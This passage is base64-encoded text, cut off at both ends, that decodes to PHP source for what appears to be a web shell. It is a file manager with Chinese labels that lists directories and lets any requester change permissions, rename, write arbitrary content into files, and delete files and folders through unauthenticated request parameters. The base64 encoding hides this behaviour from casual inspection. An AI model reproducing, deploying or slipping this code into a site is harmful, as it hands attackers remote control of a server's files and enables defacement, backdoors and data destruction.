QnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY2xhc3M9InRkX2hvbWUiIGFsaWduPSJjZW50ZXIiPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuZGlybmFtZSgkcGF0aCkuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5LiK5LiA6aG1Ij7kuIrkuIDpobU8L2E+CjwvdGQ+PHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249Y2VudGVyPlNpemU8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+Q2htb2Q8L3RkPiA8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YmFydSZuYW1lPW5ldy5waHAiPisg5paw5bu65paH5Lu2PC9hPiB8IDxhIGhyZWY9Ij9vcHRpb24mQVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJHBhdGguJyZvcHQ9YnR3JnR5cGU9ZGlyIj4rIOaWsOW7uuebruW9lTwvYT4gPC90ZD48L3RyPgonOwoKICAgICAgICBmb3JlYWNoKCRzY2FuZGlyIGFzICRkaXIpewogICAgICAgICAgICBpZighaXNfZGlyKCIkcGF0aC8kZGlyIikgfHwgJGRpciA9PSAnLicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgZWNobyAiCjx0cj4KPHRkIGNsYXNzPXRkX2hvbWU+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsUjBsR09EbGhFd0FRQUxNQUFBQUFBUC8vLzV5Y0FNN09ZLy8vblAvL3p2L09uUGYzOS8vLy93QUFBQUFBQUFBQUFBQUFBQUFBQUFBQSIuIkFBQUFBQ0g1QkFFQUFBZ0FMQUFBQUFBVEFCQUFBQVJSRU1sSnE3MDQ2eXA2QnhzaUhFVkJFQUtZQ1VQckRwN0hsWFJkRW9NcUNlYnAiLiIvNFljaGZmekdRaEg0WVJZUEIyRE9sSFBpS3dxZDFQcTh5clZWZzNRWWVINVJZSzVySmZhRlVVQTN2QjRmQklCQURzPSc+IDxhIGhyZWY9XCI/QVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aC8kZGlyXCI+JGRpcjwvYT48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSA+PGNlbnRlcj5ESVI8L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9dGRfaG9tZSBhbGlnbj1jZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PWNobW9kJnR5cGU9ZGlyJm5hbWU9JGRpclwiIHRpdGxlPSfmnYPpmZDorr7nva4nPgoiOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPic7CiAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKICAgICAgICAgICAgZWNobyBqdWVqaWFuZ19wZXJtcygiJHBhdGgvJGRpciIpOwogICAgICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCiAgICAgICAgICAgIGVjaG8gIgo8L2E+CjwvdGQ+CgoKPHRkIGNsYXNzPXRkX2hvbWUgPjxjZW50ZXI+CjxhIGhyZWY9XCI/b3B0aW9uJkFSUkFZPXskQVJSQVl9JnBhdGg9JHBhdGgmb3B0PXJlbmFtZSZ0eXBlPWRpciZuYW1lPSRkaXJcIj7ph43lkb3lkI08L2E+CjxhIGhyZWY9XCJqYXZhc2NyaXB0OmlmKGNvbmZpcm0oJ+ehruWunuimgeWIoOmZpOWQlz8nKSlsb2NhdGlvbj0nP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWRlbGV0ZSZ0eXBlPWRpciZuYW1lPXskZGlyfSdcIj7liKDpmaQ8L2E+CjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKICAgICAgICB9CiAgICAgICAgZWNobyAnPGJyPic7CiAgICAgICAgZm9yZWFjaCgkc2NhbmRpciBhcyAkZmlsZSl7CiAgICAgICAgICAgIGlmKCFpc19maWxlKCIkcGF0aC8kZmlsZSIpKSBjb250aW51ZTsKICAgICAgICAgICAgJHNpemUgPSBmaWxlc2l6ZSgiJHBhdGgvJGZpbGUiKS8xMDI0OwogICAgICAgICAgICAkc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwogICAgICAgICAgICBpZigkc2l6ZSA+PSAxMDI0KXsKICAgICAgICAgICAgICAgICRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAkc2l6ZSA9ICRzaXplLicgS0InOwogICAgICAgICAgICB9CgoKICAgICAgICAgICAgZWNobyAiPHRyPgo8dGQgY2xhc3M9dGRfaG9tZSA+IDxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUF3QUFBQVFDQVlBQUFBaVlaNEhBQUFBQ1hCSVdYTUFBQXNUQUFBTEV3RUFtcHdZQUFBS1RXbERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk4zV0pQM0ZqN2Y5MlVQVmtMWThMR1hiSUVBSWlPc0NNZ1FXYUlRa2dCaGhCQVNRTVdGaUFwV0ZCVVJuRWhWeElMVkNraWRpT0tnS0xoblFZcUlXb3RWWERqdUg5eW50WDE2NyszdCs5Zjd2T2VjNS96T2VjOFBnQkVTSnBIbW9tb0FPVktGUERyWUg0OVBTTVRKdllBQ0ZVamdCQ0FRNXN2Q1p3WEZBQUR3QTNsNGZuU3dQL3dCcjI4QUFnQncxUzRrRXNmaC80TzZVQ1pYQUNDUkFPQWlFdWNMQVpCU0FNZ3VWTWdVQU1nWUFMQlRzMlFLQUpRQUFHeDVmRUlpQUtvTkFPejBTVDRGQU5pcGs5d1hBTmlpSEtrSUFJMEJBSmtvUnlRQ1FMc0FZRldCVWl3Q3dNSUFvS3hBSWk0RXdLNEJnRm0yTWtjQ2dMMEZBSGFPV0pBUFFHQUFnSmxDTE13QUlEZ0NBRU1lRTgwRElFd0RvRERTditDcFgzQ0Z1RWdCQU1ETGxjMlhTOUl6RkxpVjBCcDM4dkRnNGlIaXdteXhRbUVYS1JCbUNlUWluSmViSXhOSTV3Tk16Z3dBQUJyNTBjSCtPRCtRNStiazRlWm01Mnp2OU1XaS9tdndieUkrSWZIZi9yeU1BZ1FBRUU3UDc5cGY1ZVhXQTNESEFiQjF2MnVwV3dEYVZnQm8zL2xkTTlzSm9Gb0swSHI1aTNrNC9FQWVucUZReUR3ZEhBb0xDKzBsWXFHOU1PT0xQdjh6NFcvZ2kzNzIvRUFlL3R0NjhBQnhta0NacmNDamcvMXhZVzUycmxLTzU4c0VRakZ1OStjai9zZUZmLzJPS2RIaU5MRmNMQldLOFZpSnVGQWlUY2Q1dVZLUlJDSEpsZUlTNlg4eThSK1cvUW1UZHcwQXJJWlB3RTYyQjdYTGJNQis3Z0VDaXc1WTBuWUFRSDd6TFl3YUM1RUFFR2MwTW5uM0FBQ1R2L21QUUNzQkFNMlhwT01BQUx6b0dGeW9sQmRNeGdnQUFFU2dnU3F3UVFjTXdSU3N3QTZjd1IyOHdCY0NZUVpFUUF3a3dEd1FRZ2JrZ0J3S29SaVdRUmxVd0RyWUJMV3dBeHFnRVpyaEVMVEJNVGdONStBU1hJSHJjQmNHWUJpZXdoaThoZ2tFUWNnSUUyRWhPb2dSWW83WUlzNElGNW1PQkNKaFNEU1NnS1FnNllnVVVTTEZ5SEtrQXFsQ2FwRmRTQ1B5TFhJVU9ZMWNRUHFRMjhnZ01vcjhpcnhITVpTQnNsRUQxQUoxUUxtb0h4cUt4cUJ6MFhRMEQxMkFscUpyMFJxMEhqMkF0cUtuMFV2b2RYUUFmWXFPWTREUk1RNW1qTmxoWEl5SFJXQ0pXQm9teHhaajVWZzFWbzgxWXgxWU4zWVZHOENlWWU4SUpBS0xnQlBzQ0Y2RUVNSnNncENRUjFoTVdFT29KZXdqdEJLNkNGY0pnNFF4d2ljaWs2aFB0Q1Y2RXZuRWVHSTZzWkJZUnF3bTdpRWVJWjRsWGljT0UxK1RTQ1FPeVpMa1Rnb2hKWkF5U1F0SmEwamJTQzJrVTZRKzBoQnBuRXdtNjVCdHlkN2tDTEtBckNDWGtiZVFENUJQa3Z2SncrUzNGRHJGaU9KTUNhSWtVcVNVRWtvMVpUL2xCS1dmTWtLWm9LcFJ6YW1lMUFpcWlEcWZXa2x0b0haUUwxT0hxUk0wZFpvbHpac1dROHVrTGFQVjBKcHBaMm4zYUMvcGRMb0ozWU1lUlpmUWw5SnI2QWZwNSttRDlIY01EWVlOZzhkSVlpZ1pheGw3R2FjWXR4a3ZtVXltQmRPWG1jaFVNTmN5RzVsbm1BK1liMVZZS3ZZcWZCV1J5aEtWT3BWV2xYNlY1NnBVVlhOVlA5VjVxZ3RVcTFVUHExNVdmYVpHVmJOUTQ2a0oxQmFyMWFrZFZidXBOcTdPVW5kU2oxRFBVVitqdmwvOWd2cGpEYktHaFVhZ2hraWpWR08zeGhtTklSYkdNbVh4V0VMV2NsWUQ2eXhybUUxaVc3TDU3RXgyQmZzYmRpOTdURk5EYzZwbXJHYVJacDNtY2MwQkRzYXg0UEE1Mlp4S3ppSE9EYzU3TFFNdFB5MngxbXF0WnExK3JUZmFldHErMm1MdGN1MFc3ZXZhNzNWd25VQ2RMSjMxT20wNjkzVUp1amE2VWJxRnV0dDF6K28rMDJQcmVla0o5Y3IxRHVuZDBVZjFiZlNqOVJmcTc5YnYwUjgzTURRSU5wQVpiREU0WS9ETWtHUG9hNWhwdU5Id2hPR29FY3RvdXBIRWFLUFJTYU1udUNidWgyZmpOWGdYUG1hc2J4eGlyRFRlWmR4clBHRmlhVExicE1Ta3hlUytLYzJVYTVwbXV0RzAwM1RNek1nczNLellyTW5zampuVm5HdWVZYjdadk52OGpZV2xSWnpGU29zMmk4ZVcycFo4eXdXV1RaYjNySmhXUGxaNVZ2VlcxNnhKMWx6ckxPdHQxbGRzVUJ0WG13eWJPcHZMdHFpdG02M0VkcHR0M3hUaUZJOHAwaW4xVTI3YU1lejg3QXJzbXV3RzdUbjJZZllsOW0zMnp4M01IQklkMWp0ME8zeHlkSFhNZG14d3ZPdWs0VFREcWNTcHcrbFhaeHRub1hPZDh6VVhwa3VReXhLWGRwY1hVMjJuaXFkdW4zckxsZVVhN3JyU3RkUDFvNXU3bTl5dDJXM1UzY3c5eFgyciswMHVteHZKWGNNOTcwSDA4UGRZNG5ITTQ1Mm5tNmZDODVEbkwxNTJYbGxlKzcwZVQ3T2NKcDdXTUczSTI4UmI0TDNMZTJBNlBqMWwrczdwQXo3R1BnS2ZlcCtIdnFhK0l0ODl2aU4rMW42WmZnZjhudnM3K3N2OWovaS80WG55RnZGT0JXQUJ3UUhsQWIyQkdvR3pBMnNESHdTWkJLVUhOUVdOQmJzR0x3dytGVUlNQ1ExWkgzS1RiOEFYOGh2NVl6UGNaeXlhMFJYS0NKMFZXaHY2TU13bVRCN1dFWTZHendqZkVINXZwdmxNNmN5MkNJamdSMnlJdUI5cEdaa1grWDBVS1NveXFpN3FVYlJUZEhGMDl5eldyT1JaKzJlOWp2R1BxWXk1Tzl0cXRuSjJaNnhxYkZKc1kreWJ1SUM0cXJpQmVJZjRSZkdYRW5RVEpBbnRpZVRFMk1ROWllTnpBdWRzbWpPYzVKcFVsblJqcnVYY29ya1g1dW5PeTU1M1BGazFXWkI4T0lXWUVwZXlQK1dESUVKUUx4aFA1YWR1VFIwVDhvU2JoVTlGdnFLTm9sR3h0N2hLUEpMbW5WYVY5ampkTzMxRCttaUdUMFoxeGpNSlQxSXJlWkVaa3JrajgwMVdSTmJlck0vWmNka3RPWlNjbEp5alVnMXBsclFyMXpDM0tMZFBaaXNya3cza2VlWnR5aHVUaDhyMzVDUDVjL1BiRld5RlROR2p0Rkt1VUE0V1RDK29LM2hiR0Z0NHVFaTlTRnJVTTk5bS91cjVJd3VDRm55OWtMQlF1TEN6MkxoNFdmSGdJcjlGdXhZamkxTVhkeTR4WFZLNlpIaHA4Tko5eTJqTHNwYjlVT0pZVWxYeWFubmM4bzVTZzlLbHBVTXJnbGMwbGFtVXljdHVydlJhdVdNVllaVmtWZTlxbDlWYlZuOHFGNVZmckhDc3FLNzR